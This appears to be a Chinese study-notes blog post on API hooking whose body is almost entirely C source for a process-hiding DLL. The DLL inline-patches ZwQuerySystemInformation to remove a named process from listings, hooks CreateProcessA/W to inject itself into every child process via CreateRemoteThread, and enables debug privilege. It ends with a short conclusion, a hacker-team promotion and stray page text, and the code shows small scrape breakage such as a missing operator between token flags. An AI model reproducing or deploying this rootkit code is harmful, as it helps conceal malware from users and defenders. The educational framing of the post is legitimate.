typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef BOOL (WINAPI *PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *PFCREATEPROCESSW)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
BYTE g_pOrgCPA[5] = {0,};
BYTE g_pOrgCPW[5] = {0,};
BYTE g_pOrgZwQSI[5] = {0,};
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pFunc, 5);
dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy(pFunc, pBuf, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES
TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL,
// lookup privilege on local system
lpszPrivilege,
// privilege to lookup
&luid) )
// receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
// 这个InjectDll2值得注意下
BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
{
HANDLE hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
FARPROC pThreadProc;
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
if( pRemoteBuf == NULL )
return FALSE;
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
dwBufSize, NULL);
pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pThreadProc,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwQuerySystemInformation");
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
if( SystemInformationClass == SystemProcessInformation )
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
{
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
return status;
}
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
// unhook
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
// 调用 original API
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向生成的子进程注入stealth2.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// hook
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
// unhook
unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
// 调用 original API
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向生成的子进程注入 stealth2.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// hook
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
return bRet;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char
szCurProc[MAX_PATH] = {0,};
char
*p = NULL;
// 异常处理使注入不会发生在 HideProc2.exe 进程
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// hook
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
// unhook
unhook_by_code("kernel32.dll", "CreateProcessA",
g_pOrgCPA);
unhook_by_code("kernel32.dll", "CreateProcessW",
g_pOrgCPW);
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}结语本章对API钩取做了学习
书中还提点了下工具的使用标准红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

我要回帖

更多关于 pthread_create函数 的文章

 

随机推荐